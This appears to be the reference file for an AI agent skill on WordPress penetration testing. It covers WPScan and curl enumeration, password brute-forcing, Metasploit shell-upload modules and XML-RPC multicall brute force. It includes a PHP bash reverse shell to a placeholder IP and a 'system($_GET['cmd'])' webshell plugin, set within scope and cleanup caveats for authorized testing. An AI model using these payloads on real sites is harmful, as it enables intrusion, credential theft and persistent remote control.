# WordPress Penetration Testing - Detailed Guide

> This file contains the detailed procedure and reference material extracted from `SKILL.md` for focused loading. The root skill defines activation, examples, safety constraints, and limitations.

## Resolve the Installed Surface

Do not assume a WordPress version, release date or plugin route from a generic guide. Inventory the actual core/PHP/plugin versions using owner-supplied information and scoped discovery. The Abilities API is documented from WordPress 6.9; AI connectors, collaboration and DataViews behavior depend on the installed core/plugins and configuration. Public route presence is not proof of a vulnerability. Discover registered routes and methods, inspect permission callbacks/schemas, then design minimal role-based tests in a disposable copy with synthetic data.

## Purpose

Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. Choose scope from the owner’s actual asset inventory, not an unsupported market-share estimate.


## Outputs and Deliverables

1. **WordPress Enumeration Report** - Version, themes, plugins, users
2. **Vulnerability Assessment** - Identified CVEs and misconfigurations
3. **Credential Assessment** - Weak password findings
4. **Minimal Proof and Cleanup** - Reproducible scoped evidence, affected permission boundary and verified removal/restoration of test artifacts. Shell access is not a default deliverable.


## Core Workflow

### Phase 1: WordPress Discovery

Identify WordPress installations:

```bash
# Check for WordPress indicators
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Check common WordPress paths
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Check meta generator tag
curl -s http://target.com | grep "generator"

# Nmap WordPress detection
nmap -p 80,443 --script http-wordpress-enum target.com
```

Key WordPress files and directories:
- `/wp-admin/` - Admin dashboard
- `/wp-login.php` - Login page
- `/wp-content/` - Themes, plugins, uploads
- `/wp-includes/` - Core files
- `/xmlrpc.php` - XML-RPC interface
- `/wp-config.php` - Configuration (not accessible if secure)
- `/readme.html` - Version information

### Phase 2: Basic WPScan Enumeration

Comprehensive WordPress scanning with WPScan:

```bash
# Basic scan
wpscan --url http://target.com/wordpress/

# With API token (for vulnerability data)
# Configure the API token locally using WPScan's documented environment/config
# support; never put a real token in argv, reports or repository files.
wpscan --url https://wordpress.example.test

# Aggressive detection mode
wpscan --url http://target.com --detection-mode aggressive

# Output to file
wpscan --url http://target.com -o results.txt

# JSON output
wpscan --url http://target.com -f json -o results.json

# Verbose output
wpscan --url http://target.com -v
```

### Phase 3: WordPress Version Detection

Identify WordPress version:

```bash
# WPScan version detection
wpscan --url http://target.com

# Manual version checks
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Check meta generator
curl -s http://target.com | grep 'name="generator"'

# Check RSS feeds
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
```

Version sources:
- Meta generator tag in HTML
- readme.html file
- RSS/Atom feeds
- JavaScript/CSS file versions

### Phase 4: Theme Enumeration

Identify installed themes:

```bash
# Enumerate all themes
wpscan --url http://target.com -e at

# Enumerate vulnerable themes only
wpscan --url http://target.com -e vt

# Theme enumeration with detection mode
wpscan --url http://target.com -e at --themes-detection aggressive

# Manual theme detection
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
```

Theme vulnerability checks:
```bash
# Search for theme exploits
searchsploit wordpress theme <theme_name>

# Check theme version
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
```

### Phase 5: Plugin Enumeration

Identify installed plugins:

```bash
# Enumerate all plugins
wpscan --url http://target.com -e ap

# Enumerate vulnerable plugins only
wpscan --url http://target.com -e vp

# Aggressive plugin detection
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Mixed detection mode
wpscan --url http://target.com -e ap --plugins-detection mixed

# Manual plugin discovery
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
```

Common vulnerable plugins to check:
```bash
# Search for plugin exploits
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Check plugin version
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
```

### Phase 6: User Enumeration

Discover WordPress users:

```bash
# WPScan user enumeration
wpscan --url http://target.com -e u

# Enumerate specific number of users
wpscan --url http://target.com -e u1-100

# Author ID enumeration (manual)
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# JSON API user enumeration (if enabled)
curl -s http://target.com/wp-json/wp/v2/users

# REST API user enumeration
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Login error enumeration
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
```

### Phase 7: Comprehensive Enumeration

Run all enumeration modules:

```bash
# Enumerate everything
wpscan --url http://target.com -e at,ap,u

# Alternative comprehensive scan
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Enumeration flags:
# at - All themes
# vt - Vulnerable themes
# ap - All plugins
# vp - Vulnerable plugins
# u  - Users (1-10)
# cb - Config backups
# dbe - Database exports

# Full aggressive enumeration
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive
```

### Phase 8: Password Attacks

Brute-force WordPress credentials:

```bash
# Single user brute-force
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Multiple users from file
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# With password attack threads
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 1

# XML-RPC testing only if explicitly included in the approved credential-assessment scope
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Brute-force with API limiting
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Create targeted wordlist
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
```

Password attack methods:
- `wp-login` - Standard login form
- `xmlrpc` - XML-RPC authentication; verify installed tool semantics, not assumed multicall speed
- `xmlrpc-multicall` - Multiple passwords per request

### Phase 9: Vulnerability Exploitation

#### Metasploit Shell Upload

After obtaining credentials:

```bash
# Start Metasploit
msfconsole

# Admin shell upload
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD <owner-provided-lab-password>
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
```

#### Plugin Exploitation

```bash
# Slideshow Gallery exploit
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD <owner-provided-lab-password>
set LHOST <your_ip>
exploit

# Search for WordPress exploits
search type:exploit platform:php wordpress
```

#### Manual Exploitation

Theme/plugin editor (with admin access):

```php
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
```

Plugin upload method:

```bash
# Create malicious plugin
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
Description: Security Testing
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Zip and upload via Plugins > Add New > Upload Plugin
zip malicious.zip malicious.php

# Access webshell
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
```

### Phase 10: Advanced Techniques

#### XML-RPC Exploitation

```bash
# Check if XML-RPC is enabled
curl -X POST http://target.com/xmlrpc.php

# List available methods
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Brute-force via XML-RPC multicall
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
```

#### Scanning Through Proxy

```bash
# Use Tor proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# HTTP proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Burp Suite proxy
wpscan --url http://target.com --proxy http://127.0.0.1:8080
```

#### HTTP Authentication

```bash
# Basic authentication
wpscan --url http://target.com --http-auth admin:password

# Use HTTPS with certificate verification; do not disable TLS checks by default
wpscan --url https://target.com
```


## Quick Reference

### WPScan Enumeration Flags

| Flag | Description |
|------|-------------|
| `-e at` | All themes |
| `-e vt` | Vulnerable themes |
| `-e ap` | All plugins |
| `-e vp` | Vulnerable plugins |
| `-e u` | Users (1-10) |
| `-e cb` | Config backups |
| `-e dbe` | Database exports |

### Common WordPress Paths

| Path | Purpose |
|------|---------|
| `/wp-admin/` | Admin dashboard |
| `/wp-login.php` | Login page |
| `/wp-content/uploads/` | User uploads |
| `/wp-includes/` | Core files |
| `/xmlrpc.php` | XML-RPC API |
| `/wp-json/` | REST API |

### WPScan Command Examples

| Purpose | Command |
|---------|---------|
| Basic scan | `wpscan --url http://target.com` |
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |


## Troubleshooting

### WPScan Shows No Vulnerabilities

**Solutions:**
1. Use API token for vulnerability database
2. Try aggressive detection mode
3. Check for WAF blocking scans
4. Verify WordPress is actually installed

### Credential Assessment Blocked

Stop at the agreed attempt/rate/lockout limit and report the observed control. Coordinate a new explicitly authorized lab test if another authentication path needs assessment; do not bypass rate limiting, MFA or source-IP controls as a troubleshooting shortcut.

### Cannot Access Admin Panel

**Solutions:**
1. Verify credentials are correct
2. Check for two-factor authentication
3. Look for IP whitelist restrictions
4. Check for login URL changes (security plugins)


## Role-Based REST/Ability Validation

After the root command-confirmation gate, discover the actual installed route schema and compare unauthenticated, low-privilege and authorized-owner behavior using synthetic fixtures. For an ability, verify registration, intended REST exposure, argument schema and permission_callback. Do not invent /ai/v1/prompt, /abilities/v1/manifest or generic admin-ajax actions. A GET route’s existence is not credential disclosure, and a response to a test string does not establish SQL injection or prompt-induced data access.

Use a harmless read-only fixture first. A mutation such as updating inventory needs a disposable product, explicit expected value and restoration check; never send quantity=0 to a real catalog. Do not submit DROP TABLE probes or prompts requesting real user emails. Capture redacted request/response and server-side evidence, classify confirmed impact separately from scanner matches, and report exact version/configuration limits.

## Cleanup and Evidence

Credential attempts, shell uploads and editor changes above are separate high-impact lab techniques, each requiring the root exact-command confirmation. Default to the smallest proof the scope requires. Keep before hashes/backups, name every artifact and ensure test plugins, listeners, accounts and edited files are removed/restored; verify both application function and changed-file hashes. Do not leave command-execution plugins or reverse shells on a live system. Discovery/version banners and CVE databases can be stale; confirm installed versions and exploit prerequisites before asserting a finding.

## Primary Sources

- [WordPress Abilities API](https://developer.wordpress.org/apis/abilities-api/)
- [WPScan user documentation](https://github.com/wpscanteam/wpscan/wiki/WPScan-User-Documentation)